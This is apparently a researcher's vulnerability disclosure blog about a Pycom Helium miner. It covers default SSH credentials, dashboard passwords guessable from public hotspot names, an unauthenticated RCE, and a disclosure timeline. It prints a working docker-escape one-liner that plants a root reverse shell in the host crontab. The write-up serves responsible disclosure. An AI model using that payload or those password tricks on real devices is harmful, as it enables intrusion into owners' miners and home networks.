Recently I came across an interesting cryptocurrency project called Helium. Its a wireless network built by people all around the world. The people that help expanding the network by adding a hotspot receive the Helium cryptocurrency coin by providing the coverage.
During my research I decided to order one of those Helium miners. I ordered a device released by Pycom, because I had some good experience with their devices while playing with IoT / LoRa.
Lets open the box
After a few months I received the device. I noticed that there’s an SD-card inside the device. I couldn’t resist opening the box and creating a copy using DD:
Lets crack the password
After mounting the DD image file in Linux, I was able to view all the files on the operating system. The device was offering SSH by default, however I didn’t have a user nor a password. So the first step was to look into the /etc/passwd file to view the users including the password hashes:
ubuntu:$y$j9T$QKDlnYSkMAukWbVQkUwZc1$b5r81S0G.WD0BfuPrJtEvjtyLbnRth8rHOf/c6q7.q4:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
By feeding the hash to John the Ripper it instantly became clear that the password of the ubuntu user was ubuntu.
This allowed me to login through SSH:
It’s in a jail
Pycom did put all parts of the miner into separate dockers (Dashboard, Miner, UPNP, Packet forwarder). The following docker compose file was found:
version: '2'
services:
packet-forwarder:
image: "docker.io/pycomio/hm-pktfwd:latest"
privileged: true
network_mode: "host"
volumes:
- pktfwdr:/var/pktfwd
restart: on-failure
helium-miner:
image: "docker.io/pycomio/hm-miner:latest"
expose:
- "1680"
- "4467"
- "44158"
privileged: true
network_mode: "host"
volumes:
- miner-storage:/var/data
- miner-log:/var/log/miner
- pktfwdr:/var/pktfwd
- /run/dbus/:/run/dbus/
- /home/ubuntu/overlay/docker.config:/config/sys.config
cap_add:
- SYS_RAWIO
restart: on-failure
environment:
- DBUS_SYSTEM_BUS_ADDRESS=unix:path=/run/dbus/system_bus_socket
upnp:
image: pycomio/hm-upnp
network_mode: host
restart: on-failure
helium-dashboard:
image: "docker.io/pycomio/hm-dashboard"
depends_on:
- helium-miner
- packet-forwarder
expose:
- "80"
ports:
- "80:3020/tcp"
privileged: true
volumes:
- miner-storage:/var/data
- miner-log:/var/log/miner
- pktfwdr:/var/pktfwd
- /run/dbus/:/run/dbus/
- /var/run/docker.sock:/var/run/docker.sock
- /var/data/public_keys:/var/data/public_keys
cap_add:
- SYS_RAWIO
devices:
- /dev/i2c-10:/dev/i2c-1
restart: on-failure
environment:
- DBUS_SYSTEM_BUS_ADDRESS=unix:path=/run/dbus/system_bus_socket
volumes:
miner-storage:
miner-log:
pktfwdr:
Lets enter the web interface
One weird thing is that Pycom advertised the miner with a management dashboard, which allowed you to control your miner through a web interface. However, I wasn’t able find this password anywhere. Not in the box. Not on the internet. So, a useful challenge was gaining access to the web interface password to be able to use it. After opening the Dashboard docker, it became clear that the password is the ‘animal name’ of the Helium miner:
Interesting fact is that the animal names (in other words, the hotspot name) of all the miners are accessible on the Helium explorer, so guessing the password isn’t that hard (e.g. the hotspot Breezy Vinyl Donkey would have the password breezy-vinyl-donkey).
Great, we now have access to the web interface.
How does it update?
Usually an interesting part is taking a look at the update mechanism of such an device. I found a crontab file in the /root directory:
*/5 * * * * /bin/bash -c "$(curl -fsSL https://software.pycom.io/downloads/update-hotspot.sh)"
The script contained the following code:
#!/bin/sh
if [ ! -f /etc/provisioning.txt ]; then
exit 0
fi
upSeconds="$(cat /proc/uptime | grep -o '^[0-9]\+')"
if [ "${upSeconds}" -lt "1800" ]
then
exit 0
fi
REMOTE_VERSION="0.0.6"
if [ ! -f "/etc/hotspot-version.txt" ]; then
LOCAL_VERSION="0.0.1"
else
LOCAL_VERSION=$(cat /etc/hotspot-version.txt)
fi
echo "Local version: $LOCAL_VERSION"
echo "Remote version: $REMOTE_VERSION"
if [ ! $REMOTE_VERSION = $LOCAL_VERSION ]; then
curl "https://software.pycom.io/downloads/miner-${REMOTE_VERSION}.tar.gz" | tar -xvzf - -C /
while true; do
su - ubuntu -c "docker-compose pull && docker-compose up -d --remove-orphans"
success=$?
if [ "$success" -eq 0 ]; then
break
else
sleep 30
fi
done
sleep 1
crontab /root/crontab
echo "UPDATED $REMOTE_VERSION" >> /etc/pycom.txt
echo $REMOTE_VERSION > /etc/hotspot-version.txt
fi
exit 0
The current version of the software was 0.0.6 so the URL to download this particular update file is: https://software.pycom.io/downloads/miner-0.0.6.tar.gz
After downloading the file, it became clear that the tar.gz file simply contains Linux files which will be overwritten on the operating system.
This pretty useful, we are now able to see every change in every update.
Lets hack your miner
Gaining full access to the device and web interface was much easier then expected. But are there also vulnerabilities present in the device – for example in the web interface?
The web interface allows you to control the dockers – which feels like there might be command execution possibilities. After intercepting requests with Burp, I found a remote command execution vulnerability and the correct payload to download a payload remotely:
Note that there is no authentication implemented in this API. Everyone with network access to Helium Miners web interface is able to execute the issue. I created a video with the exploit in action:
Another interesting fact is that we obtained root access to the hm-dashboard docker container. Within this container we are able to run the docker command to control all other dockers on the same miner. In the video above we are running the command ls -l / hm-miner docker container while we are in the hm-dashboard container. Pretty cool!
Are we also able to use the access to the docker command to escalate to the host operating system? After a while I managed to create a payload which achieves this:
docker run --rm --mount type=bind,source="/",target=/host alpine sh -c 'echo "* * * * * root bash -c \"bash -i >& /dev/tcp/127.0.0.1/8000 0>&1\"" | tee -a /host/etc/crontab'
The payload creates and runs a new docker containers, mounts / on the host to the /host directory in the docker. A command is run within the docker to add a reverse shell to the hosts crontab as root.
Contacting the vendor
The last part was to contact the vendor with all my findings. The first reply from their dev team kind of surprised me:
Our miner is indeed designed to be open. None of his findings are a surprise.
Sure, its very cool the device to be open. But in the current situation the RCE introduces risks to their customers, if they connect the miners web interface directly to the internet. It means compromise of their miner, but also their network. I confirmed that it was possible to reach my internal network from within the hm-dashboard docker container.
I tried to explain this by more communication with Pycom:
22 august 2022 | Initial contact with all findings |
23 august 2022 | Received a reply from Pycom: “Our miner is indeed designed to be open. None of his findings are a surprise.” |
23 august 2022 | Replied to emphasize the potential impact of an unauthenticated remote command execution vulnerability |
23 august 2022 | Received a reply from Pycom: “We have sent your suggestions to the dev team and they are looking into it.” |
23 august 2022 | Replied to ask Pycom if they could update me if there is any progress |
26 august 2022 | Replied to ask if Pycom has a response from it’s developers. Announcing that I will publish the blog on the 5th of September. If they need more time for a patch, that’s not an issue. |
31 august 2022 | Received a reply from Pycom: they are closing the ticket because colleagues already replied to me. |
2 sept 2022 | It looks like Pycom released a patch fixing some of my mentioned issues. I haven’t extensively validated their patch so its unclear whether the issues have been fixed correctly. At least I saw the following updates: password change on first logon is enforced, authorization is added to the API and input is sanitized while injecting commands. |
Advice
My advice to users would be to not directly connect the miner on the internet on ports such as SSH and HTTP.
Happy mining!